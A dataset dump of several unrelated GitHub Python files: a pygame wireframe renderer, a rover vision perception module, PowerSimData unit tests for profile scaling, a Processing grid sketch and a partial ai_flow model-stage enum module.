(cameraX / ((z2 / z_speed) + 1)),\r\n (y2 + y_width / 2 + y) + (cameraY / ((z2 / z_speed) + 1))),\r\n ((x3 + x_width / 2 + x) + (cameraX / ((z3 / z_speed) + 1)),\r\n (y3 + y_width / 2 + y) + (cameraY / ((z3 / z_speed) + 1)))\r\n ))\r\n\r\n\r\ndef render_object1(color_r, color_g, color_b, location_x, location_y):\r\n for z in range(len(object1)):\r\n if object1[z][9] == 5:\r\n if cameraY >= 40:\r\n vertices(object1[z][0], object1[z][1], object1[z][2],\r\n object1[z][3], object1[z][4], object1[z][5],\r\n object1[z][6], object1[z][7], object1[z][8],\r\n color_r, color_g, color_b,\r\n location_x, location_y)\r\n if object1[z][9] == 3:\r\n if cameraY <= -40:\r\n vertices(object1[z][0], object1[z][1], object1[z][2],\r\n object1[z][3], object1[z][4], object1[z][5],\r\n object1[z][6], object1[z][7], object1[z][8],\r\n color_r - 100, color_g - 100, color_b - 100,\r\n location_x, location_y)\r\n if object1[z][9] == 2:\r\n if cameraX >= 40:\r\n vertices(object1[z][0], object1[z][1], object1[z][2],\r\n object1[z][3], object1[z][4], object1[z][5],\r\n object1[z][6], object1[z][7], object1[z][8],\r\n color_r - 100, color_g - 100, color_b - 100,\r\n location_x, location_y)\r\n if object1[z][9] == 4:\r\n if cameraX <= -40:\r\n vertices(object1[z][0], object1[z][1], object1[z][2],\r\n object1[z][3], object1[z][4], object1[z][5],\r\n object1[z][6], object1[z][7], object1[z][8],\r\n color_r - 10, color_g - 10, color_b - 10,\r\n location_x, location_y)\r\n if object1[z][9] == 1:\r\n vertices(object1[z][0], object1[z][1], object1[z][2],\r\n object1[z][3], object1[z][4], object1[z][5],\r\n object1[z][6], object1[z][7], object1[z][8],\r\n color_r - 50, color_g - 50, color_b - 50,\r\n location_x, location_y)\r\n\r\n\r\ndef render_object2(color_r, color_g, color_b, location_x, location_y):\r\n for z in range(len(object2)):\r\n if object2[z][9] == 5:\r\n if cameraY >= 40:\r\n vertices(object2[z][0], object2[z][1], object2[z][2],\r\n object2[z][3], object2[z][4], object2[z][5],\r\n object2[z][6], object2[z][7], object2[z][8],\r\n color_r, color_g, color_b,\r\n location_x, location_y)\r\n if object2[z][9] == 3:\r\n if cameraY <= -40:\r\n vertices(object2[z][0], object2[z][1], object2[z][2],\r\n object2[z][3], object2[z][4], object2[z][5],\r\n object2[z][6], object2[z][7], object2[z][8],\r\n color_r - 100, color_g - 100, color_b - 100,\r\n location_x, location_y)\r\n if object2[z][9] == 2:\r\n if cameraX >= 40:\r\n vertices(object2[z][0], object2[z][1], object2[z][2],\r\n object2[z][3], object2[z][4], object2[z][5],\r\n object2[z][6], object2[z][7], object2[z][8],\r\n color_r - 100, color_g - 100, color_b - 100,\r\n location_x, location_y)\r\n if object2[z][9] == 4:\r\n if cameraX <= -40:\r\n vertices(object2[z][0], object2[z][1], object2[z][2],\r\n object2[z][3], object2[z][4], object2[z][5],\r\n object2[z][6], object2[z][7], object2[z][8],\r\n color_r - 10, color_g - 10, color_b - 10,\r\n location_x, location_y)\r\n if object2[z][9] == 1:\r\n vertices(object2[z][0], object2[z][1], object2[z][2],\r\n object2[z][3], object2[z][4], object2[z][5],\r\n object2[z][6], object2[z][7], object2[z][8],\r\n color_r - 50, color_g - 50, color_b - 50,\r\n location_x, location_y)\r\n\r\n\r\nrun = True\r\nwhile run:\r\n win.fill((100, 100, 100))\r\n pygame.time.delay(10)\r\n win.blit(skyBox, (0, 0))\r\n\r\n keys = pygame.key.get_pressed()\r\n if keys[pygame.K_a] or keys[pygame.K_LEFT]:\r\n cameraX = cameraX + vel\r\n if keys[pygame.K_d] or keys[pygame.K_RIGHT]:\r\n cameraX = cameraX - vel\r\n if keys[pygame.K_w] or keys[pygame.K_UP]:\r\n cameraY = cameraY + vel\r\n if keys[pygame.K_s] or keys[pygame.K_DOWN]:\r\n cameraY = cameraY - vel\r\n\r\n render_object1(255, 100, 100, 0, 0)\r\n render_object2(255, 100, 100, -200, -400)\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n pygame.display.update()\r\npygame.quit()\r\nprint(\"stopped\")\r\n","repo_name":"StefVanNood/polyBlox","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34075467692","text":"from collections import namedtuple\r\n\r\nimport numpy as np\r\nimport cv2\r\n\r\n\r\ndef rock_thresh(img, low_levels=(130, 105, 0),high_levels=(220,190,70)):\r\n rockpix = ( (img[:,:,0] > low_levels[0])\\\r\n & (img[:,:,1] > low_levels[1]) \\\r\n & (img[:,:,2] > low_levels [2]) \\\r\n & (img[:,:,0] < high_levels [0])\\\r\n & (img[:,:,1] < high_levels[1]) \\\r\n & (img[:,:,2] < high_levels [2]))\r\n\r\n color_select = np.zeros_like(img[:,:,0])\r\n color_select[rockpix] = 1\r\n return color_select\r\n\r\n\r\ndef color_thresh(img, rgb_thresh=(160, 160, 160)):\r\n # Create an array of zeros same xy size as img, but single channel\r\n color_select = np.zeros_like(img[:, :, 0])\r\n # Require that each pixel be above all three threshold values in RGB\r\n # above_thresh will now contain a boolean array with \"True\"\r\n # where threshold was met\r\n above_thresh = (img[:, :, 0] > rgb_thresh[0]) \\\r\n & (img[:, :, 1] > rgb_thresh[1]) \\\r\n & (img[:, :, 2] > rgb_thresh[2])\r\n # Index the array of zeros with the boolean array and set to 1\r\n color_select[above_thresh] = 1\r\n # Return the binary image\r\n return color_select\r\n\r\n\r\ndef perspect_transform(img, src, dst):\r\n M = cv2.getPerspectiveTransform(src, dst)\r\n warped = cv2.warpPerspective(img, M, (img.shape[1], img.shape[0])) # keep same size as input image\r\n mask = cv2.warpPerspective(np.ones_like(img[:, :, 0]), M, (img.shape[1], img.shape[0]))\r\n\r\n return warped, mask\r\n\r\n\r\ndef rover_coords(binary_img):\r\n # Identify nonzero pixels\r\n ypos, xpos = binary_img.nonzero()\r\n # Calculate pixel positions with reference to the rover position being at the\r\n # center bottom of the image.\r\n x_pixel = np.absolute(ypos - binary_img.shape[0]).astype(np.float32)\r\n y_pixel = -(xpos - binary_img.shape[0]).astype(np.float32)\r\n return x_pixel, y_pixel\r\n\r\n\r\ndef to_polar_coords(x_pixel, y_pixel):\r\n # Convert (x_pixel, y_pixel) to (distance, angle)\r\n # in polar coordinates in rover space\r\n # Calculate distance to each pixel using pythagoream theorem\r\n dist = np.sqrt(x_pixel ** 2 + y_pixel ** 2)\r\n # Calculate angle away from vertical for each pixel using arc tangent\r\n rad2deg = 180./np.pi\r\n angles = np.arctan2(y_pixel, x_pixel)*rad2deg\r\n return dist, angles\r\n\r\n\r\ndef rotate_pixels(pixels, angle):\r\n \r\n deg2rad = np.pi/180.\r\n angle_rad = angle*deg2rad\r\n x_pixels, y_pixels = pixels\r\n\r\n x_pixels_rotated = x_pixels*np.cos(angle_rad) - y_pixels*np.sin(angle_rad)\r\n y_pixels_rotated = x_pixels*np.sin(angle_rad) + y_pixels*np.cos(angle_rad)\r\n\r\n return x_pixels_rotated,y_pixels_rotated\r\n\r\ndef inv_rotate_pixels(pixels, angle):\r\n \r\n deg2rad = np.pi/180.\r\n angle_rad = angle*deg2rad\r\n x_pixels, y_pixels = pixels\r\n\r\n x_pixels_rotated = x_pixels*np.cos(angle_rad) + y_pixels*np.sin(angle_rad)\r\n y_pixels_rotated = -x_pixels*np.sin(angle_rad) + y_pixels*np.cos(angle_rad)\r\n\r\n return x_pixels_rotated,y_pixels_rotated\r\n\r\ndef translate_pixels(pixels, translation, scale_factor=10):\r\n \r\n translation_x, translation_y = translation\r\n x_pixels, y_pixels = pixels\r\n x_pixels_translated = x_pixels/scale_factor + translation_x\r\n y_pixels_translated = y_pixels/scale_factor + translation_y\r\n\r\n return x_pixels_translated,y_pixels_translated\r\n\r\ndef inv_translate_pixels(pixels, translation, scale_factor=10):\r\n \r\n translation_x, translation_y = translation\r\n x_pixels, y_pixels = pixels\r\n\r\n x_pixels_translated = (x_pixels - translation_x)*scale_factor\r\n y_pixels_translated = (y_pixels - translation_y)*scale_factor\r\n\r\n return x_pixels_translated,y_pixels_translated\r\n\r\ndef pix_to_world(pixels_rover, rover_pos, rover_yaw, world_size=200):\r\n \r\n # Apply rotation and translation\r\n pixels_rotated = rotate_pixels(pixels_rover, rover_yaw)\r\n pixels_translated_x, pixels_translated_y = translate_pixels(pixels_rotated, rover_pos)\r\n\r\n # Clip pixels to be within world size\r\n x_pixels_world = np.clip(np.int_(pixels_translated_x), 0, world_size-1)\r\n y_pixels_world = np.clip(np.int_(pixels_translated_y), 0, world_size-1)\r\n\r\n return x_pixels_world, y_pixels_world\r\n\r\n\r\ndef pix_to_rover(pixels_world, rover_pos, rover_yaw):\r\n \r\n # Apply inverse translation and rotation\r\n pixels_rotated = inv_translate_pixels(pixels_world, rover_pos)\r\n pixels_rover = inv_rotate_pixels(pixels_rotated, rover_yaw)\r\n\r\n return pixels_rover\r\n\r\n\r\ndef perception_step(Rover, R=0, G=1, B=2):\r\n \r\n img = Rover.img\r\n dst_size = 5\r\n bottom_offset = 6\r\n\r\n src = np.float32([[14, 140], [300, 140], [200, 96], [118, 96]])\r\n dst = np.float32([\r\n [img.shape[1] / 2 - dst_size, img.shape[0] - bottom_offset],\r\n [img.shape[1] / 2 + dst_size, img.shape[0] - bottom_offset],\r\n [img.shape[1] / 2 + dst_size, img.shape[0] - 2 * dst_size - bottom_offset],\r\n [img.shape[1] / 2 - dst_size, img.shape[0] - 2 * dst_size - bottom_offset]])\r\n # Apply perspective transform to get 2D overhead view of rover cam\r\n warped_img , mask = perspect_transform(img=img, src=src, dst=dst)\r\n\r\n Rover.vision_warped = warped_img\r\n Rover.vision_mask = mask\r\n # Apply color thresholds to extract pixels of navigable/obstacles/rocks\r\n navigable_pixels = color_thresh(warped_img)\r\n Rover.vision_threshed = navigable_pixels\r\n obstacle_pixels = np.abs(np.float32(navigable_pixels) - 1) * mask\r\n rock_pixels = rock_thresh(img=warped_img)\r\n\r\n # Update rover vision image with each ROI assigned to one of\r\n # the RGB color channels (to be displayed on left side of sim screen)\r\n Rover.vision_image[:, :, R] = obstacle_pixels * 255\r\n Rover.vision_image[:, :, G] = rock_pixels * 255\r\n Rover.vision_image[:, :, B] = navigable_pixels * 255\r\n\r\n # Transform pixel coordinates from perspective frame to rover frame\r\n x_nav, y_nav = rover_coords(binary_img=navigable_pixels)\r\n x_obs, y_obs = rover_coords(binary_img=obstacle_pixels)\r\n x_rock, y_rock = rover_coords(binary_img=rock_pixels)\r\n\r\n Rover.x_nav = x_nav\r\n Rover.y_nav = y_nav\r\n\r\n # Convert above cartesian coordinates to polar coordinates\r\n Rover.nav_dists, Rover.nav_angles = to_polar_coords( x_nav, y_nav)\r\n Rover.obs_dists, Rover.obs_angles = to_polar_coords(x_obs, y_obs)\r\n Rover.rock_dists = to_polar_coords(x_rock, y_rock)[0]\r\n # Extract subset of nav_angles that are left of rover angle\r\n Rover.nav_angles_left = Rover.nav_angles[Rover.nav_angles > 0]\r\n\r\n # Only include pixels within certain distances from rover (for fidelity)\r\n nav_pixels_rover = [pts[Rover.nav_dists < 60] for pts in (x_nav, y_nav)]\r\n obs_pixels_rover = [pts[Rover.obs_dists < 80] for pts in (x_obs, y_obs)]\r\n rock_pixels_rover = [pts[Rover.rock_dists < 70] for pts in (x_rock, y_rock)]\r\n\r\n # Convert rock cartesian coords to polar coords\r\n rock_pixels_rover_x, rock_pixels_rover_y = rock_pixels_rover\r\n Rover.rock_angles = to_polar_coords(rock_pixels_rover_x, rock_pixels_rover_y)[1]\r\n\r\n # Transform pixel points of ROIs from rover frame to world frame\r\n nav_pixels_world_x,nav_pixels_world_y = pix_to_world(nav_pixels_rover, Rover.pos, Rover.yaw)\r\n obs_pixels_world_x,obs_pixels_world_y = pix_to_world(obs_pixels_rover, Rover.pos, Rover.yaw)\r\n rock_pixels_world_x,rock_pixels_world_y = pix_to_world(rock_pixels_rover, Rover.pos, Rover.yaw)\r\n\r\n # Only update worldmap (displayed on right) if rover has a stable drive\r\n # High pitch/rolls cause inaccurate 3D to 2D mapping and low fidelity\r\n is_stable = ((Rover.pitch > 359 or Rover.pitch < 0.25)\r\n and (Rover.roll > 359 or Rover.roll < 0.37))\r\n \r\n if is_stable: # Update map with each ROI assigned to an RGB color channel\r\n Rover.worldmap[obs_pixels_world_y, obs_pixels_world_x, R] = 255\r\n Rover.worldmap[rock_pixels_world_y, rock_pixels_world_x, G] = 255\r\n Rover.worldmap[nav_pixels_world_y, nav_pixels_world_x, B] = 255\r\n\r\n return Rover\r\n","repo_name":"sama85/ComputerVision-Project","sub_path":"code/perception.py","file_name":"perception.py","file_ext":"py","file_size_in_byte":8041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"1703534255","text":"from unittest.mock import patch\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nfrom numpy.testing import assert_almost_equal\n\nfrom powersimdata.data_access.context import Context\nfrom powersimdata.input.change_table import ChangeTable\nfrom powersimdata.input.grid import Grid\nfrom powersimdata.input.transform_grid import TransformGrid\nfrom powersimdata.input.transform_profile import TransformProfile\nfrom powersimdata.tests.mock_context import MockContext\nfrom powersimdata.tests.mock_profile_input import MockProfileInput\n\ninterconnect = [\"Western\"]\nparam = {\n \"n_zone_to_scale\": 6,\n \"n_plant_to_scale\": 50,\n \"n_plant_to_add\": 100,\n}\nprofile_type = {\n \"wind\": {\"wind\", \"wind_offshore\"},\n \"solar\": {\"solar\"},\n \"hydro\": {\"hydro\"},\n \"demand\": {\"demand\"},\n}\n\n\ndef get_zone_with_resource(base_grid, resource):\n zone = base_grid.plant.groupby(\"type\").get_group(resource)[\"zone_name\"].unique()\n return zone\n\n\ndef get_plant_with_resource(base_grid, resource):\n plant_id = base_grid.plant.groupby(\"type\").get_group(resource).index\n return plant_id\n\n\ndef get_change_table_for_zone_scaling(base_grid, resource):\n n_zone = param[\"n_zone_to_scale\"]\n zones = get_zone_with_resource(base_grid, resource)\n\n ct = ChangeTable(base_grid)\n ct.scale_plant_capacity(\n resource,\n zone_name={\n z: f\n for z, f in zip(\n np.random.choice(zones, size=n_zone, replace=False),\n 2 * np.random.random(size=n_zone),\n )\n },\n )\n return ct.ct\n\n\ndef get_change_table_for_id_scaling(base_grid, resource):\n n_plant = param[\"n_plant_to_scale\"]\n plants = get_plant_with_resource(base_grid, resource)\n\n ct = ChangeTable(base_grid)\n ct.scale_plant_capacity(\n resource,\n plant_id={\n z: f\n for z, f in zip(\n np.random.choice(plants, size=n_plant, replace=False),\n 2 * np.random.random(size=n_plant),\n )\n },\n )\n return ct.ct\n\n\ndef get_change_table_for_new_plant_addition(base_grid, resource):\n n_plant = param[\"n_plant_to_add\"]\n new_plant_bus_id = np.random.choice(\n base_grid.bus.index, size=n_plant, replace=False\n )\n new_plant_pmax = 10 + 240 * np.random.random(size=n_plant)\n new_plant = []\n for b, p in zip(new_plant_bus_id, new_plant_pmax):\n new_plant.append({\"type\": resource, \"bus_id\": b, \"Pmax\": p})\n\n ct = ChangeTable(base_grid)\n ct.add_plant(new_plant)\n\n return ct.ct\n\n\ndef _check_plants_are_scaled(ct, base_grid, raw_profile, resource):\n plant_id_type = get_plant_with_resource(base_grid, resource)\n\n base_profile = (\n raw_profile[plant_id_type] * base_grid.plant.loc[plant_id_type, \"Pmax\"]\n )\n\n tg = TransformGrid(base_grid, ct)\n transformed_grid = tg.get_grid()\n\n empty_scenario_info = {} # scenario_info not needed since profile_input is mocked\n tp = TransformProfile(empty_scenario_info, transformed_grid, ct)\n transformed_profile = tp.get_profile(resource)\n\n scaled_plant_id = []\n scaling_factor_plant = []\n if \"zone_id\" in ct[resource].keys():\n for z, f in ct[resource][\"zone_id\"].items():\n plant_id_zone = (\n base_grid.plant.groupby([\"zone_id\", \"type\"])\n .get_group((z, resource))\n .index.tolist()\n )\n scaled_plant_id += plant_id_zone\n scaling_factor_plant += [f] * len(plant_id_zone)\n if \"plant_id\" in ct[resource].keys():\n for i, f in ct[resource][\"plant_id\"].items():\n if i in scaled_plant_id:\n scaling_factor_plant[scaled_plant_id.index(i)] *= f\n else:\n scaled_plant_id.append(i)\n scaling_factor_plant.append(f)\n\n assert not base_profile.equals(transformed_profile)\n assert_almost_equal(\n transformed_profile[scaled_plant_id].values,\n base_profile[scaled_plant_id].multiply(scaling_factor_plant, axis=1).values,\n )\n\n unscaled_plant_id = set(plant_id_type) - set(scaled_plant_id)\n if unscaled_plant_id:\n assert transformed_profile[list(unscaled_plant_id)].equals(\n base_profile[list(unscaled_plant_id)]\n )\n return transformed_profile\n\n\ndef _check_new_plants_are_added(ct, base_grid, raw_profile, resource):\n n_plant = param[\"n_plant_to_add\"]\n plant_id_type = (\n base_grid.plant.isin(profile_type[resource]).query(\"type == True\").index\n )\n base_profile = (\n raw_profile[plant_id_type] * base_grid.plant.loc[plant_id_type, \"Pmax\"]\n )\n\n tg = TransformGrid(base_grid, ct)\n transformed_grid = tg.get_grid()\n\n empty_scenario_info = {} # scenario_info not needed since profile_input is mocked\n tp = TransformProfile(empty_scenario_info, transformed_grid, ct)\n transformed_profile = tp.get_profile(resource)\n\n assert not transformed_profile.equals(base_profile)\n assert not len(base_profile.columns) == len(transformed_profile.columns)\n assert len(set(transformed_profile.columns) - set(base_profile.columns)) == n_plant\n assert set(transformed_profile.columns) - set(base_profile.columns) == set(\n transformed_grid.plant.index[-n_plant:]\n )\n\n return transformed_profile.drop(base_profile.columns, axis=1)\n\n\ndef _check_new_plants_are_not_scaled(base_grid, raw_profile, resource):\n ct_zone = get_change_table_for_zone_scaling(base_grid, resource)\n ct_id = get_change_table_for_id_scaling(base_grid, resource)\n ct_new = get_change_table_for_new_plant_addition(base_grid, resource)\n ct = {**ct_zone, **ct_id[resource], **ct_new}\n # profile of new plants\n new_profile = _check_new_plants_are_added(ct_new, base_grid, raw_profile, resource)\n # transformed profile\n scaled_profile = _check_plants_are_scaled(ct, base_grid, raw_profile, resource)\n # check that the profiles of new plants in the scaled profile are not scaled\n assert new_profile.equals(scaled_profile[new_profile.columns])\n\n\ndef _check_profile_of_new_plants_are_produced_correctly(\n base_grid, raw_profile, resource\n):\n ct_new = get_change_table_for_new_plant_addition(base_grid, resource)\n new_profile = _check_new_plants_are_added(ct_new, base_grid, raw_profile, resource)\n neighbor_id = [d[\"plant_id_neighbor\"] for d in ct_new[\"new_plant\"]]\n new_plant_pmax = [d[\"Pmax\"] for d in ct_new[\"new_plant\"]]\n\n for i, c in enumerate(new_profile.columns):\n neighbor_profile = raw_profile[neighbor_id[i]]\n assert new_profile[c].equals(neighbor_profile.multiply(new_plant_pmax[i]))\n\n\n@pytest.fixture(scope=\"module\")\ndef base_grid():\n grid = Grid(interconnect)\n return grid\n\n\n@pytest.fixture(scope=\"module\")\ndef profile_input(base_grid):\n mock_profile_input = MockProfileInput(base_grid)\n return mock_profile_input\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef mock_profile_input_class(profile_input):\n with patch(\n \"powersimdata.input.transform_profile.ProfileInput\"\n ) as mock_profile_input_class:\n mock_profile_input_class.return_value = profile_input\n yield\n\n\n@pytest.fixture(scope=\"module\")\ndef raw_hydro(profile_input):\n return profile_input.get_data({}, \"hydro\")\n\n\n@pytest.fixture(scope=\"module\")\ndef raw_wind(profile_input):\n return profile_input.get_data({}, \"wind\")\n\n\n@pytest.fixture(scope=\"module\")\ndef raw_solar(profile_input):\n return profile_input.get_data({}, \"solar\")\n\n\n@pytest.fixture(scope=\"module\")\ndef raw_demand(profile_input):\n return profile_input.get_data({}, \"demand\")\n\n\n@pytest.fixture(scope=\"module\")\ndef raw_demand_flexibility_up(profile_input):\n return profile_input.get_data({}, \"demand_flexibility_up\")\n\n\n@pytest.fixture(scope=\"module\")\ndef raw_demand_flexibility_dn(profile_input):\n return profile_input.get_data({}, \"demand_flexibility_dn\")\n\n\ndef test_demand_is_scaled(base_grid, raw_demand):\n base_demand = raw_demand[base_grid.id2zone.keys()]\n\n n_zone = param[\"n_zone_to_scale\"]\n ct = ChangeTable(base_grid)\n ct.scale_demand(\n zone_id={\n z: f\n for z, f in zip(\n np.random.choice(\n [i for i in base_grid.zone2id.values()], size=n_zone, replace=False\n ),\n 2 * np.random.random(size=n_zone),\n )\n }\n )\n\n tg = TransformGrid(base_grid, ct.ct)\n transformed_grid = tg.get_grid()\n\n empty_scenario_info = {} # scenario_info not needed since profile_input is mocked\n tp = TransformProfile(empty_scenario_info, transformed_grid, ct.ct)\n transformed_profile = tp.get_profile(\"demand\")\n assert not base_demand.equals(transformed_profile)\n\n scaled_zone = list(ct.ct[\"demand\"][\"zone_id\"].keys())\n unscaled_zone = set(base_grid.id2zone.keys()) - set(scaled_zone)\n factor = list(ct.ct[\"demand\"][\"zone_id\"].values())\n assert transformed_profile[scaled_zone].equals(\n base_demand[scaled_zone].multiply(factor, axis=1)\n )\n if unscaled_zone:\n assert transformed_profile[list(unscaled_zone)].equals(\n base_demand[list(unscaled_zone)]\n )\n\n\ndef test_solar_is_scaled_by_zone(base_grid, raw_solar):\n ct = get_change_table_for_zone_scaling(base_grid, \"solar\")\n _check_plants_are_scaled(ct, base_grid, raw_solar, \"solar\")\n\n\ndef test_solar_is_scaled_by_id(base_grid, raw_solar):\n ct = get_change_table_for_id_scaling(base_grid, \"solar\")\n _check_plants_are_scaled(ct, base_grid, raw_solar, \"solar\")\n\n\ndef test_solar_is_scaled_by_zone_and_id(base_grid, raw_solar):\n ct_zone = get_change_table_for_zone_scaling(base_grid, \"solar\")\n ct_id = get_change_table_for_id_scaling(base_grid, \"solar\")\n ct = {**ct_zone, **ct_id[\"solar\"]}\n _check_plants_are_scaled(ct, base_grid, raw_solar, \"solar\")\n\n\ndef test_wind_is_scaled_by_zone(base_grid, raw_wind):\n ct = get_change_table_for_zone_scaling(base_grid, \"wind\")\n _check_plants_are_scaled(ct, base_grid, raw_wind, \"wind\")\n\n\ndef test_wind_is_scaled_by_id(base_grid, raw_wind):\n ct = get_change_table_for_id_scaling(base_grid, \"wind\")\n _check_plants_are_scaled(ct, base_grid, raw_wind, \"wind\")\n\n\ndef test_wind_is_scaled_by_zone_and_id(base_grid, raw_wind):\n ct_zone = get_change_table_for_zone_scaling(base_grid, \"wind\")\n ct_id = get_change_table_for_id_scaling(base_grid, \"wind\")\n ct = {**ct_zone, **ct_id[\"wind\"]}\n _check_plants_are_scaled(ct, base_grid, raw_wind, \"wind\")\n\n\ndef test_hydro_is_scaled_by_zone(base_grid, raw_hydro):\n ct = get_change_table_for_zone_scaling(base_grid, \"hydro\")\n _check_plants_are_scaled(ct, base_grid, raw_hydro, \"hydro\")\n\n\ndef test_hydro_is_scaled_by_id(base_grid, raw_hydro):\n ct = get_change_table_for_id_scaling(base_grid, \"hydro\")\n _check_plants_are_scaled(ct, base_grid, raw_hydro, \"hydro\")\n\n\ndef test_hydro_is_scaled_by_zone_and_id(base_grid, raw_hydro):\n ct_zone = get_change_table_for_zone_scaling(base_grid, \"hydro\")\n ct_id = get_change_table_for_id_scaling(base_grid, \"hydro\")\n ct = {**ct_zone, **ct_id[\"hydro\"]}\n _check_plants_are_scaled(ct, base_grid, raw_hydro, \"hydro\")\n\n\ndef test_new_solar_are_added(base_grid, raw_solar):\n ct = get_change_table_for_new_plant_addition(base_grid, \"solar\")\n _ = _check_new_plants_are_added(ct, base_grid, raw_solar, \"solar\")\n\n\ndef test_new_wind_are_added(base_grid, raw_wind):\n ct = get_change_table_for_new_plant_addition(base_grid, \"wind\")\n _ = _check_new_plants_are_added(ct, base_grid, raw_wind, \"wind\")\n\n\ndef test_new_hydro_added(base_grid, raw_hydro):\n ct = get_change_table_for_new_plant_addition(base_grid, \"hydro\")\n _ = _check_new_plants_are_added(ct, base_grid, raw_hydro, \"hydro\")\n\n\ndef test_new_solar_are_not_scaled(base_grid, raw_solar):\n _check_new_plants_are_not_scaled(base_grid, raw_solar, \"solar\")\n\n\ndef test_new_wind_are_not_scaled(base_grid, raw_wind):\n _check_new_plants_are_not_scaled(base_grid, raw_wind, \"wind\")\n\n\ndef test_new_hydro_are_not_scaled(base_grid, raw_hydro):\n _check_new_plants_are_not_scaled(base_grid, raw_hydro, \"hydro\")\n\n\ndef test_new_solar_profile(base_grid, raw_solar):\n _check_profile_of_new_plants_are_produced_correctly(base_grid, raw_solar, \"solar\")\n\n\ndef test_new_wind_profile(base_grid, raw_wind):\n _check_profile_of_new_plants_are_produced_correctly(base_grid, raw_wind, \"wind\")\n\n\ndef test_new_hydro_profile(base_grid, raw_hydro):\n _check_profile_of_new_plants_are_produced_correctly(base_grid, raw_hydro, \"hydro\")\n\n\ndef test_flexible_demand_profiles_are_trimmed(\n base_grid, raw_demand_flexibility_up, raw_demand_flexibility_dn, monkeypatch\n):\n monkeypatch.setattr(Context, \"get_data_access\", MockContext().get_data_access)\n data_access = Context.get_data_access()\n\n # Specify the fake demand flexibility profiles from MockInputData\n zone_keys = [f\"zone.{z}\" for z in base_grid.id2zone.keys()]\n base_demand_flexibility_up = raw_demand_flexibility_up[zone_keys]\n base_demand_flexibility_dn = raw_demand_flexibility_dn[zone_keys]\n\n # Create fake files in the expected directory path\n exp_path = f\"raw/{base_grid.grid_model}\"\n\n for csv_file in (\n \"demand_flexibility_up_Test.csv\",\n \"demand_flexibility_dn_Test.csv\",\n ):\n with data_access.write(exp_path + \"/\" + csv_file) as f:\n pd.DataFrame().to_csv(f)\n\n # Specify the change table\n ct = ChangeTable(base_grid)\n ct.add_demand_flexibility(\n {\n \"demand_flexibility_up\": \"Test\",\n \"demand_flexibility_dn\": \"Test\",\n \"demand_flexibility_duration\": 6,\n }\n )\n\n # Transform the grid object accordingly\n tg = TransformGrid(base_grid, ct.ct)\n transformed_grid = tg.get_grid()\n\n # Test that the demand flexibility profiles are pruned\n empty_scenario_info = {\"grid_model\": base_grid.grid_model}\n tp = TransformProfile(empty_scenario_info, transformed_grid, ct.ct)\n transformed_demand_flexibility_up = tp.get_profile(\"demand_flexibility_up\")\n transformed_demand_flexibility_dn = tp.get_profile(\"demand_flexibility_dn\")\n assert base_demand_flexibility_up.equals(transformed_demand_flexibility_up)\n assert base_demand_flexibility_dn.equals(transformed_demand_flexibility_dn)\n","repo_name":"Breakthrough-Energy/PowerSimData","sub_path":"powersimdata/input/tests/test_transform_profile.py","file_name":"test_transform_profile.py","file_ext":"py","file_size_in_byte":14205,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"2"} +{"seq_id":"12831367717","text":"#\n# Based on program P.2.1.2 of \"Generative Design\" by\n# H. Bohnacker, B. Gross, J. Laub, C. Lazzeroni\n#\n\nfrom processing import *\nfrom random import random,seed\n\nrandomSeed = 1000\ntileCount = 10\n\ndef setup():\n size(600,600)\n global colorLeft, colorRight\n colorLeft = color(197, 0, 123)\n colorRight = color(87, 35, 129)\n\ndef mousePressed():\n global randomSeed\n seed()\n randomSeed = random()*100000\n \ndef keyPressed():\n if keyboard.key.upper()==\"R\": strokeCap(ROUND)\n if keyboard.key.upper()==\"S\": strokeCap(SQUARE)\n if keyboard.key.upper()==\"P\": strokeCap(PROJECT)\n \n \ndef draw():\n background(255)\n seed(randomSeed)\n dy = environment.height / tileCount\n dx = environment.width / tileCount\n wx = mouse.x * 1.0 / environment.width * 100\n wy = mouse.y * 1.0 / environment.height * 100\n for gridY in range(tileCount):\n posY = dy * gridY\n for gridX in range(tileCount):\n posX = dx * gridX\n if random()>=0.5:\n strokeWeight(wx)\n stroke(colorLeft,100)\n line(posX,posY+dy,posX+dx,posY)\n else:\n strokeWeight(wy)\n stroke(colorRight,100)\n line(posX,posY,posX+dx,posY+dy)\n\nrun()\n","repo_name":"esperanc/skulptIde","sub_path":"demoSketches/alignGrid.py","file_name":"alignGrid.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"2"} +{"seq_id":"73746899566","text":"from ai_flow.protobuf.message_pb2 import INVALID_PARAMETER_VALUE, \\\n ModelVersionStage as ProtoModelVersionStage\nfrom ai_flow.endpoint.server.exception import AIFlowException\nfrom enum import Enum\n\nSTAGE_GENERATED = \"Generated\"\nSTAGE_VALIDATED = \"Validated\"\nSTAGE_DEPLOYED = \"Deployed\"\nSTAGE_DEPRECATED = \"Deprecated\"\nSTAGE_DELETED = \"Deleted\"\n\nALL_STAGES = [STAGE_GENERATED, STAGE_VALIDATED, STAGE_DEPLOYED, STAGE_DEPRECATED, STAGE_DELETED]\nDEFAULT_STAGES_FOR_GET_LATEST_VERSIONS = [STAGE_GENERATED, STAGE_VALIDATED, STAGE_DEPLOYED]\n_CANONICAL_MAPPING = {stage.lower(): stage for stage in ALL_STAGES}\n\n\ndef get_canonical_stage(stage):\n key = stage.lower()\n if key not in _CANONICAL_MAPPING:\n raise AIFlowException(\"Invalid Model Version stage {}.\".format(stage),\n INVALID_PARAMETER_VALUE)\n return _CANONICAL_MAPPING[key]\n\n\nclass ModelVersionStage(object):\n \"\"\"Enum for stage of an :py:class:`ai_flow.model_center.model_repo.entity.ModelVersionDetail`.\"\"\"\n GENERATED = ProtoModelVersionStage.Value('GENERATED')\n VALIDATED = ProtoModelVersionStage.Value('VALIDATED')\n DEPLOYED = ProtoModelVersionStage.Value('DEPLOYED')\n DEPRECATED = ProtoModelVersionStage.Value('DEPRECATED')\n DELETED = ProtoModelVersionStage.Value('DELETED')\n\n _STRING_TO_STAGE = {k: ProtoModelVersionStage.Value(k)\n for k in ProtoModelVersionStage.keys()}\n _STAGE_TO_STRING = {value: key for key, value in 